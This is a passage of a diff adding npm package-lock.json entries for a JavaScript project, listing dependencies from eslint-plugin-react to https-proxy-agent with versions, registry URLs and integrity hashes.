"dev": true, + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "array.prototype.tosorted": "^1.1.1", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.0.12", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "object.hasown": "^1.1.2", + "object.values": "^1.1.6", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.4", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.8" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.0.tgz", + "integrity": "sha512-oFc7Itz9Qxh2x4gNHStv3BqJq54ExXmfC+a1NjAta66IAN87Wu0R/QArgIS9qKzX3dXKPI9H5crl9QchNMY9+g==", + "dev": true, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0" + } + }, + "node_modules/eslint-plugin-react-refresh": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.5.tgz", + "integrity": "sha512-D53FYKJa+fDmZMtriODxvhwrO+IOqrxoEo21gMA0sjHdU6dPVH4OhyFip9ypl8HOF5RV5KdTo+rBQLvnY2cO8w==", + "dev": true, + "peerDependencies": { + "eslint": ">=7" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "dev": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/execa": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-8.0.1.tgz", + "integrity": "sha512-VyhnebXciFV2DESc+p6B+y0LjSm0krU4OgJN44qFAhBY0TJ+1V61tYD2+wHusZ6F9n5K+vl8k0sTy7PEfV4qpg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^8.0.1", + "human-signals": "^5.0.0", + "is-stream": "^3.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^5.1.0", + "onetime": "^6.0.0", + "signal-exit": "^4.1.0", + "strip-final-newline": "^3.0.0" + }, + "engines": { + "node": ">=16.17" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/express": { + "version": "4.21.2", + "resolved": "https://registry.npmjs.org/express/-/express-4.21.2.tgz", + "integrity": "sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.7.1", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.12", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true + }, + "node_modules/fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fflate": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.1.tgz", + "integrity": "sha512-/exOvEuc+/iaUm105QIiOt4LpBdMTWsXxqR0HDF35vx3fmaKzw7354gTilCh5rkzEt8WYyG//ku3h3nRmd7CHQ==", + "dev": true + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz", + "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "dev": true, + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.2.9", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.9.tgz", + "integrity": "sha512-36yxDn5H7OFZQla0/jFJmbIKTdZAQHngCedGxiMmpNfEZM0sdEeT+WczLQrjK6D7o2aiyLYDnkw0R3JK0Qv1RQ==", + "dev": true + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dev": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz", + "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", + "dev": true, + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz", + "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "functions-have-names": "^1.2.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-func-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz", + "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-stream": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-8.0.1.tgz", + "integrity": "sha512-VaUJspBffn/LMCJVoMvSAdmscJyS1auj5Zulnn5UoYcY531UWmdwhRWkcGKnGU93m5HSXP9LP2usOryrBtQowA==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globalthis": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz", + "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "dev": true + }, + "node_modules/has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz", + "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/html-encoding-sniffer": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", + "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==", + "dev": true, + "dependencies": { + "whatwg-encoding": "^3.1.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-proxy-agent": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.0.tgz", + "integrity": "sha512-+ZT+iBxVUQ1asugqnD6oWoRiS25AkjNfG085dKJGtGxkdwLQrMKU5wJr2bOOFAXzKcTuqq+7fZlTMgG3SRfIYQ==", + "dev": true, + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.2", + "resolved": 